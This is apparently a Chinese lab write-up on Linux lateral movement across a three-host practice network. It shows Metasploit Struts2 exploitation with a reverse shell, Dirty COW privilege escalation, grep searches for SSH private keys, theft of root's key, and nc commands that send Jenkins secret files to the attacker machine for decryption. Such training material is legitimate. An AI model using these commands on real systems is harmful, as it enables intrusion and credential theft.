前言
在Linux中橫向移動(dòng)手法相對(duì)Windows來(lái)說(shuō)較少,相對(duì)來(lái)說(shuō)我們只有利用SSH、web上的漏洞等較少方式去獲得權(quán)限 在SSH協(xié)議中,連接到主機(jī)可采用兩種登錄方式:密碼登錄方式、密鑰登錄方式 密碼登錄方式,相信大家都明白它的工作原理,這里就不再贅述。對(duì)此我們可以來(lái)嘗試爆破密碼的方式來(lái)嘗試登錄到遠(yuǎn)程系統(tǒng)權(quán)限 密鑰登錄方式的原理是:利用密鑰生成器制作一對(duì)密鑰,其中一只公鑰,一只私鑰。將公鑰添加到服務(wù)器的某個(gè)賬戶上,然后在客戶端利用私鑰即可完成認(rèn)證并登錄。這樣一來(lái),沒(méi)有私鑰,任何人都無(wú)法通過(guò)SSH暴力破解用戶的密碼來(lái)遠(yuǎn)程登錄系統(tǒng)。那這里我們可以通過(guò)獲取該目標(biāo)服務(wù)器的SSH私鑰信息即可獲得該服務(wù)器的遠(yuǎn)程登錄權(quán)限 一般ssh密鑰文件都存放在~/.ssh/目錄下,也可以在文件中搜索已保存的SSH憑證。
敏感文件 ~/.ssh/config #配置 ssh 連接相關(guān)參數(shù)的配置文件 ~/.ssh/known_hosts # 該服務(wù)器所有登錄過(guò)的服務(wù)器的信息 ~/.bash_history # 我們通過(guò)歷史命令可以看到該服務(wù)器中有沒(méi)有使用ssh私鑰去遠(yuǎn)程連接服務(wù)器 搜索含有SSH憑證文件 grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
在這里,我用一個(gè)純Linux的內(nèi)網(wǎng)靶機(jī)環(huán)境來(lái)做演示,首先我們來(lái)看一下當(dāng)前內(nèi)網(wǎng)環(huán)境的拓?fù)鋱D。
通過(guò)拓?fù)鋱D我們可以看到在當(dāng)前內(nèi)網(wǎng)環(huán)境中,一共有3臺(tái)機(jī)器,一臺(tái)是web服務(wù)器,同時(shí)也連接著互聯(lián)網(wǎng),另外兩臺(tái)分別為數(shù)據(jù)庫(kù)服務(wù)器與Jenkins服務(wù)器,他們的網(wǎng)絡(luò)環(huán)境中是做了限制的,web服務(wù)器對(duì)外開(kāi)放,可直接訪問(wèn)。jenkins服務(wù)器的web應(yīng)用只允許當(dāng)前內(nèi)網(wǎng)環(huán)境的主機(jī)訪問(wèn),數(shù)據(jù)庫(kù)服務(wù)器不出網(wǎng),用于實(shí)現(xiàn)站庫(kù)分離設(shè)計(jì)模式。網(wǎng)絡(luò)劃分配置如下:點(diǎn)擊編輯 ->虛擬網(wǎng)絡(luò)編輯器-> 更改設(shè)置,之后選擇需要設(shè)置NAT類(lèi)型的界面,修改子網(wǎng)IP為172.16.250.0 ,并點(diǎn)擊應(yīng)用。
場(chǎng)景演示
首先我們先對(duì)入口點(diǎn)IP地址做一個(gè)端口掃描。
這里我們?cè)L問(wèn)它的80端口,發(fā)現(xiàn)是該系統(tǒng)的CMS為OpenCms 10.5,通過(guò)漏洞庫(kù)得知該系統(tǒng)存在 struts2 命令執(zhí)行漏洞。
訪問(wèn)一下struts2-showcase路徑,看是否成功。
由此確定使用struts2并且是struts2 showcase,msf上可以利用這個(gè)漏洞。直接在msf中 search struts2,這里直接選擇第一個(gè)利用即可。
設(shè)置攻擊IP地址與反彈shell方式。
set rhost 172.16.250.10 set rport 80 set payload linux/x64/meterpreter/reverse_tcp set lhot 172.160.250.128 set lport 4444
可以看到shell被成功反彈過(guò)來(lái)。
可以看到當(dāng)前shell被反彈過(guò)來(lái),并且權(quán)限為tomcat權(quán)限,這里的權(quán)限對(duì)我們來(lái)說(shuō)相對(duì)較低,于是選擇提權(quán)。首先上傳一個(gè)linux-exploit-suggester腳本用于定位當(dāng)前系統(tǒng)適合怎樣的方式進(jìn)行提權(quán)。由于這時(shí)候我們得到的shell不是tty類(lèi)型的,改為tty使得shell更加穩(wěn)定,然后賦予當(dāng)前文件一個(gè)執(zhí)行權(quán)限,將其執(zhí)行。
upload /root/Desktop/linux-exploit-suggester.sh /tmp/aa.sh shell python3 -c "import pty;pty.spawn('/bin/bash')" chmod u+x /tmp/aa.sh ./tmp/aa.sh
運(yùn)行之后就可以看到適合當(dāng)前系統(tǒng)的提權(quán)方式,這里我選擇使用臟牛來(lái)進(jìn)行提權(quán)(在實(shí)戰(zhàn)中請(qǐng)謹(jǐn)慎使用臟牛提權(quán),該提權(quán)方式容易造成業(yè)務(wù)宕機(jī)) 這里步驟和我們剛剛上傳提權(quán)定位腳本基本一致,首先將exp上傳到shell中,將exp進(jìn)行編譯,將shell改為tty,直接執(zhí)行編譯后的exp。
upload /root/Desktop/dirtycow-mem.c /tmp/cow.c shell python3 -c "import pty;pty.spawn('/bin/bash')" gcc -Wall -o /tmp/dirtycow /tmp/cow.c -ldl -lpthread chmod u+x /tmp/dirtycow ./tmp/dirtycow
這里我們?cè)谀玫絩oot權(quán)限之后,為了保持穩(wěn)定需要輸入下面兩條命令,不然web服務(wù)器會(huì)死機(jī)。
echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
經(jīng)過(guò)長(zhǎng)時(shí)間的信息收集后,發(fā)現(xiàn)配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties中有一條數(shù)據(jù)庫(kù)登錄的信息,判斷出當(dāng)前數(shù)據(jù)庫(kù)服務(wù)器為172.16.250.50。
發(fā)現(xiàn)該站為站庫(kù)分離系統(tǒng),這里查看root目錄下的.ssh目錄發(fā)現(xiàn)存在一個(gè)私鑰文件。
這里再去查看root用戶的歷史命令發(fā)現(xiàn)該用戶使用該密鑰連接了172.16.250.30,那這里我們可以將該服務(wù)器的私鑰文件下載到我們的攻擊機(jī)中,然后使用攻擊機(jī)去連接數(shù)據(jù)庫(kù)服務(wù)器,因?yàn)槲覀儸F(xiàn)在所在的是提權(quán)的root用戶bash,在msf中是tomcat的權(quán)限,我們無(wú)法直接下載root目錄下的ssh私鑰,所以我們需要先將私鑰復(fù)制到/tmp/目錄下,然后將它基于777的權(quán)限,在使用msf將其下載到我們的攻擊機(jī)中。
cp ~/.ssh/id_rsa /tmp/id_rsa chmod 777 /tmp/id_rsa exit download /tmp/id_rsa /root/is_rsa
這里給拖出來(lái)的私鑰一個(gè)0700的執(zhí)行權(quán)限,然后使用ssh去連接172.16.250.30。
chmod 0700 id_rsa ssh -i id_rsa root@172.16.250.30
這里成功拿到第二臺(tái)主機(jī)權(quán)限,權(quán)限為root,hostname為jenkins,這里對(duì)它進(jìn)行一個(gè)信息收集發(fā)現(xiàn)該系統(tǒng)開(kāi)放一個(gè)8080端口。
這里搭建一個(gè)socks代理訪問(wèn)一下看看當(dāng)前jenkins服務(wù)器中8080端口所開(kāi)放的是一個(gè)什么站點(diǎn)。
use auxiliary/server/socks5 set srvhost 172.16.250.128 run
然后修改proxychains文件。
使用proxychains啟動(dòng)firefox。
proxychains firefox
這里我們?cè)L問(wèn)Jenkins應(yīng)用程序內(nèi)的憑證管理器內(nèi)部,看到db_backup用戶密碼已存儲(chǔ),但不可見(jiàn),我們需要弄清楚如何從Jenkins中獲取此憑據(jù),以便我們可以繼續(xù)橫向移動(dòng)。
這里我們選擇“Update”來(lái)更新密碼。
將password置空即可得到密碼。
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=訪問(wèn)/jenkins/script/console目錄,使用以下命令獲取明文。
println(hudson.util.Secret.fromString("{2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=}").getPlainText())發(fā)現(xiàn)失敗,這里直接獲取jenkis的加密密鑰文件,下載到本機(jī)使用jenkis進(jìn)行解密,credentials.xml,master.key和hudson.util.Secret。
訪問(wèn)發(fā)現(xiàn)該3個(gè)文件存在,使用nc將文件傳到我們的kali中。
nc -lvp 8888 > master.key nc -lvp 8888 > hudson.util.Secret nc -lvp 8888 > credentials.xml nc 172.16.250.128 8888 < /home/jenkins/secrets/hudson.util.Secret nc 172.16.250.128 8888 < /home/jenkins/secrets/master.key nc 172.16.250.128 8888 < /home/jenkins/credentials.xml
可以看到文件都被下載到了我們的攻擊機(jī)中,這里我們下載解密腳本,將密鑰文件放到腳本中進(jìn)行解密。
git clone https://github.com/cheetz/jenkins-decrypt.git python3 decrypt.py master.key hudson.util.Secret credentials.xml
這里成功解密db_backup用戶的密碼,使用ssh進(jìn)行連接。
)uDvra{4UL^;r?*h
proxychains ssh db_backup@172.16.250.50
可以看到成功登錄到172.16.250.50系統(tǒng)中,這里使用id查看到該用戶屬于在sudo組,所以可以使用sudo su命令進(jìn)行提權(quán),然后輸入db_backup用戶的密碼,即拿到了該系統(tǒng)root系統(tǒng)的權(quán)限。
sudo su
至此成功獲取到WEB服務(wù)器(172.16.250.10)的權(quán)限、內(nèi)網(wǎng)主機(jī)172.16.250.30的權(quán)限、內(nèi)網(wǎng)數(shù)據(jù)庫(kù)服務(wù)器172.16.250.50的權(quán)限。本文章主要介紹了Linux環(huán)境下的內(nèi)網(wǎng)滲透手法,但想文章前言所述一樣,在Linux中的橫向手法很少,所以主要還是偏向于SSH和web方面的漏洞,在Linux的內(nèi)網(wǎng)環(huán)境中,要做的還是要收集到更多有價(jià)值的信息,查看歷史命令等。從而在進(jìn)行下一步滲透。
審核編輯:湯梓紅
-
Linux
+關(guān)注
關(guān)注
87文章
11207瀏覽量
208721 -
服務(wù)器
+關(guān)注
關(guān)注
12文章
8958瀏覽量
85085 -
WINDOWS
+關(guān)注
關(guān)注
3文章
3521瀏覽量
88317 -
CSK
+關(guān)注
關(guān)注
0文章
4瀏覽量
6301
原文標(biāo)題:Linux橫向移動(dòng)手法-CSK靶機(jī)
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論